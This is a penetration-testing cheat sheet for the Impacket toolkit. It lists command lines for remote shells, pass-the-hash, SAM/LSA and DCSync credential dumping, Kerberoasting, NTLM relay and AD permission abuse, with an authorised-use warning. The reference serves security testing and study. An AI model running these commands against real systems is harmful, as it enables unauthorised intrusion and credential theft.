---
title: Impacket
url: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/impacket'
markdown: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/impacket.md'
date: '2026-11-22'
description: 'Field Detail Summary Linux toolkit for Windows protocols — exec, dump, Kerberos Category Windows/AD protocol toolkit Phase enumeration, exploitation, post-exploitation Interface CLI (Python scripts) Platform Linux, Windows, macOS Licence Open source (Apache-ish / Fortra) Docs htt…'
taxonomy:
  category:
    - cheat-sheets
  tag:
    - pentest
    - cheatsheet
    - windows-ad-protocol-toolkit
    - enumeration
    - exploitation
    - post-exploitation
---

# Impacket

| Field | Detail |
|---|---|
| **Summary** | Linux toolkit for Windows protocols — exec, dump, Kerberos |
| **Category** | Windows/AD protocol toolkit |
| **Phase** | enumeration, exploitation, post-exploitation |
| **Interface** | CLI (Python scripts) |
| **Platform** | Linux, Windows, macOS |
| **Licence** | Open source (Apache-ish / Fortra) |
| **Docs** | https://github.com/fortra/impacket |
| **Related** | SMB and Active Directory enumeration, NetExec (CrackMapExec), John the Ripper and Hashcat, BloodHound and SharpHound |

A collection of Python scripts implementing Windows network protocols (SMB, MSRPC, Kerberos, LDAP, NTLM, TDS). The backbone of Linux-based AD attacking — remote command execution, credential dumping, Kerberos abuse, all without touching a Windows box.

> **ℹ️ Note — Script names**On Kali the scripts are often prefixed (`impacket-psexec`) or plain (`psexec.py`). Both are shown; use whichever your install provides. All accept `domain/user:password@target` or `-hashes LMHASH:NTHASH` for pass-the-hash.
> 
> **⚠️ Warning — Scope**These give remote code execution and dump secrets. Authorised engagements only; most are loud and land in Windows event logs.

## Credential formats (common to most scripts)

```bash
corp.local/jdoe:'Password1'@10.10.10.5          # password
corp.local/jdoe@10.10.10.5 -hashes :<NThash>    # pass-the-hash (LM can be empty)
corp.local/jdoe@10.10.10.5 -k -no-pass          # Kerberos ticket (from KRB5CCNAME)
-dc-ip 10.10.10.5                                # point Kerberos/LDAP at the DC
```

## Remote command execution

| Script | Mechanism | Notes |
|---|---|---|
| `psexec.py` | Creates a service, SYSTEM shell | Loud, drops a binary, classic |
| `smbexec.py` | Service + share, semi-interactive | No binary dropped; cleaner |
| `wmiexec.py` | WMI, per-command | **Quietest**, no service; go-to |
| `atexec.py` | Scheduled task | When WMI/SMB-exec blocked |
| `dcomexec.py` | DCOM | Another fallback vector |

```bash
wmiexec.py corp.local/admin:'Pass'@10.10.10.5           # semi-interactive shell
wmiexec.py corp.local/admin@10.10.10.5 -hashes :<NT>    # PtH
psexec.py corp.local/admin:'Pass'@10.10.10.5 cmd.exe    # full SYSTEM shell
```

## Credential dumping

```bash
# Dump local SAM + LSA + cached creds remotely
secretsdump.py corp.local/admin:'Pass'@10.10.10.5

# DCSync — pull the entire domain's hashes from a DC (needs replication rights / DA)
secretsdump.py -just-dc corp.local/admin:'Pass'@10.10.10.5
secretsdump.py -just-dc-ntlm corp.local/admin@10.10.10.5 -hashes :<NT>

# From local hive copies
secretsdump.py -sam sam.save -system system.save LOCAL
```

Feed the resulting NTLM / Kerberos hashes to John the Ripper and Hashcat, or reuse them directly with PtH.

## Kerberos attacks

```bash
# AS-REP roast — accounts with "do not require pre-auth"
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5
#   crackable with hashcat -m 18200

# Kerberoast — request service tickets for SPN accounts
GetUserSPNs.py corp.local/jdoe:'Pass'@10.10.10.5 -request -dc-ip 10.10.10.5
#   crackable with hashcat -m 13100

# Build a ticket from a hash (pass-the-ticket / silver/golden — advanced)
getTGT.py corp.local/jdoe -hashes :<NT>          # -> .ccache ; export KRB5CCNAME
ticketer.py ...                                   # forge tickets (know for theory)
```

## Other handy scripts

```bash
smbclient.py corp.local/jdoe:'Pass'@10.10.10.5    # interactive SMB client
smbserver.py share /tmp/loot -smb2support          # quick SMB server (file transfer/capture)
lookupsid.py corp.local/jdoe:'Pass'@10.10.10.5     # RID cycling -> user list
GetADUsers.py -all corp.local/jdoe:'Pass' -dc-ip 10.10.10.5
rpcdump.py @10.10.10.5                             # enumerate RPC endpoints
ntlmrelayx.py -tf targets.txt -smb2support         # NTLM relay (see Responder sheet)
mssqlclient.py corp.local/jdoe:'Pass'@10.10.10.5   # MSSQL — xp_cmdshell etc.
```

`smbserver.py` is a staple: stand up a share in one command to pull files off a target or to catch authentication.

## More Impacket scripts

```bash
findDelegation.py corp.local/u:p                      # list unconstrained/constrained/RBCD rights
addcomputer.py corp.local/u:p -computer-name 'EVIL$' -computer-pass 'Pass123!'   # if MAQ > 0
changepasswd.py corp.local/target@dc -newpass 'New123!' -altuser u -altpass p    # reset via rights
dacledit.py -action write -rights FullControl -principal me -target victim corp.local/u:p
owneredit.py -action write -owner me -target victim corp.local/u:p
getST.py -spn cifs/target corp.local/svc -impersonate administrator -hashes :NT   # S4U delegation
ticketConverter.py ticket.kirbi ticket.ccache        # .kirbi <-> .ccache
reg.py corp.local/u:p@host query -keyName 'HKLM\SYSTEM'   # remote registry
services.py corp.local/u:p@host list                 # remote services
```

Export `KRB5CCNAME=ticket.ccache`, then add `-k -no-pass` to any script to authenticate with Kerberos.

## Kill-chain usage

### Enumeration

```bash
GetUserSPNs.py corp/u:p -dc-ip DC          # find kerberoastable accounts
```

### Exploitation

```bash
GetNPUsers.py corp/ -usersfile u.txt -no-pass   # AS-REP roast
```

### Post-exploitation

```bash
secretsdump.py corp/admin:p@DC             # dump domain hashes (DCSync)
```

## Where it fits

The execution layer for AD work. SMB and Active Directory enumeration and BloodHound and SharpHound tell you *what* to do; Impacket *does* it from Linux — run commands, dump creds, roast tickets. Overlaps with NetExec (CrackMapExec), which wraps much of this with multi-host sweeping; Impacket gives you the precise, single-purpose tool.

---

## Navigation

- Parent: [Pentest Tools — Map of Content](https://www.rawrso.me/ethical-hacking/cheat-sheets.md)
- Previous: [IEC 61850 & IEC 60870-5-104 — power-grid protocols](https://www.rawrso.me/ethical-hacking/cheat-sheets/ot-ics-power-protocols-iec-61850-and-60870.md)
- Next: [John the Ripper & Hashcat](https://www.rawrso.me/ethical-hacking/cheat-sheets/john-the-ripper-and-hashcat.md)
